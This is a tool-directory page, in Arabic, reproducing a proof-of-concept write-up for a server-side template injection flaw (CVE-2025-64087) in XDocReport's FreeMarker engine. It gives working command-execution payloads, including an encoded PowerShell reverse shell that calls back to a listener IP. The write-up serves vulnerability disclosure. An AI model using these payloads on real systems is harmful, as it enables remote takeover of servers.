Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-64087-SSTI- — CVE-2025-64087 (SSTI) | Kitploit
أدوات/GitHubGitHub/at190510-cuong/cve-2025-64087-ssti-
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولات
GitHubat190510-cuong/cve-2025-64087-ssti-

CVE-2025-64087-SSTI-

CVE-2025-64087 (SSTI)

عرض المستودع
115منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-64087 (SSTI FreeMarker)

حقن قالب من جانب الخادم (SSTI) في XDocReport يسمح بتنفيذ التعليمات البرمجية عن بُعد عبر محرك Apache FreeMarker

تعريف الثغرة

نظرة عامة على الثغرة

  • حقن قالب من جانب الخادم (SSTI) هو ثغرة أمنية في الويب تسمح للمهاجم بحقن تعليمات برمجية ضارة في القوالب المستخدمة من قبل أنظمة إدارة المحتوى (CMS) وأطر العمل (framework) الويب، بهدف تنفيذ هجمات عن بُعد، أو الحصول على معلومات حساسة، أو تنفيذ أنشطة اختراق للنظام.

  • SSTI هو أحد أشكال ثغرات الحقن (مثل SQL Injection و XSS وما إلى ذلك)، حيث يستغل المهاجم استخدام أنظمة القوالب لنشر تعليمات برمجية ضارة عن بُعد. عندما يتم تنفيذ هجوم SSTI بنجاح، يمكن للمهاجم تنفيذ التعليمات البرمجية الخاصة به على الخادم، مما يسمح له بتنفيذ هجمات عن بُعد، مثل جمع المعلومات الحساسة، وتنفيذ أنشطة اختراق النظام، والوصول إلى الموارد غير المصرح بها.

  • تحدث ثغرة SSTI عادةً بسبب استخدام أنظمة قوالب غير آمنة، أو بسبب عدم فحص ومعالجة معلمات الإدخال قبل إدراجها في القوالب. إذا تم تنفيذ هجوم SSTI بنجاح، فقد تكون العواقب وخيمة وتسبب خسائر كبيرة للمؤسسة المستهدفة.

تأثير الأعمال

  • يمكن أن تسبب ثغرة SSTI العديد من العواقب الوخيمة، بما في ذلك:

  • تنفيذ تعليمات برمجية ضارة: يمكن للمهاجم استخدام هذه الثغرة لتنفيذ تعليمات برمجية ضارة على الخادم، مما يسمح بسرقة البيانات، أو تنفيذ إجراءات غير قانونية على النظام، أو حتى السيطرة الكاملة على الخادم.

  • كشف المعلومات الحساسة: يمكن أن تسمح SSTI للمهاجم بقراءة أو تعديل أو حذف الملفات على الخادم. إذا كانت هذه الملفات تحتوي على معلومات حساسة، مثل الحسابات وكلمات المرور، فيمكن للمهاجم كشف هذه المعلومات بسهولة.

  • هجمات التهديد أو الاحتيال على المستخدمين: يمكن للمهاجم استخدام SSTI لتنفيذ هجمات تهديد أو احتيال على المستخدمين، عن طريق تغيير محتوى موقع الويب أو إضافة أزرار مخصصة مزيفة. إذا قام المستخدم بالنقر على هذه الأزرار، يمكن للمهاجم سرقة معلومات المستخدم أو تثبيت برامج ضارة على أجهزتهم.

الخطورة: حاسمة (CRITICAL)

image

الوصف والتأثير

تم العثور على ثغرة حقن قالب من جانب الخادم (SSTI) في OpenSAGRES XDocReport عند معالجة قوالب DOCX باستخدام محرك FreeMarker. في ظل تكوينات معينة، يمكن للقوالب المصممة خصيصاً أن تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE).

يسمح موقع إدارة الموارد البشرية للمستخدمين برفع ملفات مستندات .docx إلى النظام. أثناء المعالجة، يستخدم التطبيق محرك القوالب FreeMarker (في الملف FreemarkerTemplateEngine.java) لتقديم المحتوى ${"freemarker.template.utility.Execute"?new()("whoami")} دون وجود آلية للتحكم أو تصفية محتوى الإدخال. تسمح هذه الثغرة للمهاجم بحقن تعبيرات ضارة في ملف .docx (قالب)، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE) على الخادم ويمكن استغلالها لسرقة المعلومات أو السيطرة على النظام.

المكون المتأثر

fr.opensagres.xdocreport.template.freemarker — XDocReport (الإصدارات من 1.0.0 إلى 2.1.0).

تحليل السبب الجذري

  • في الملف https://github.com/opensagres/xdocreport/blob/master/template/fr.opensagres.xdocreport.template.freemarker/src/main/java/fr/opensagres/xdocreport/template/freemarker/FreemarkerTemplateEngine.java لا يتم إجراء فحص لمحتوى ملف xdoc المدخل. يتم تحميل محتوى القالب مباشرة وإرساله إلى process(context, writer, template) لمعالجته بواسطة محرك FreeMarker دون أي آلية عزل (sandboxing) أو تقييد للتوجيهات/التعبيرات. ونتيجة لذلك، يمكن للمهاجم تقديم قالب يحتوي على تعبيرات/أوامر FreeMarker ضارة، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد (RCE).

image

خطوات إعادة الإنتاج

  1. يقوم المستخدم برفع ملف .docx يحتوي على الحمولة التالية:``` ${"freemarker.template.utility.Execute"?new()("calc")}
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

2. تم التنفيذ بنجاح وفتح تطبيق الحاسبة

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

3. بالمثل، للحصول على معلومات المستخدم الجاري تشغيله على النظام باستخدام payload:```
${"freemarker.template.utility.Execute"?new()("whoami")}

image

image

  1. يمكن ملاحظة أن ملف .docx بعد معالجته بواسطة محرك القوالب يقوم بإرجاع بيانات النظام

image

  1. بالمثل مع الـ payload التالي:``` ${"freemarker.template.utility.Execute"?new()("cmd /c dir d:")}
![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

6. رفع التأثير إلى RCE

- جهاز الاستماع هو wsl وعنوان IP الخاص به هو `172.26.208.130`

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)

- الاستغلال باستخدام الحمولة التالية:

![image](https://assets.kitploit.com/production/public/readmes/placeholders/f0fc86cfe65f76d40e15aaec61704ec8220a56dc89d4be03c46f67cb31b9fa8c.svg)```java
${"freemarker.template.utility.Execute"?new()("powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAyADYALgAyADAAOAAuADEAMwAwACIALAA5ADkAOQA5ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==")}

image

  • معالجة ملف .docx عبر xdocreport

image

  • تم رصد عودة shell إلى جهاز wsl

image

الحل

منع تنفيذ reflection (الأكثر أمانًا ولكن لا يزال قيد البناء به خطأ)

  • في الملف xdocreport\template\fr.opensagres.xdocreport.template.freemarker\src\main\java\fr\opensagres\xdocreport\template\freemarker\FreemarkerTemplateEngine.java أضف المحتوى التالي
تنزيل الأداة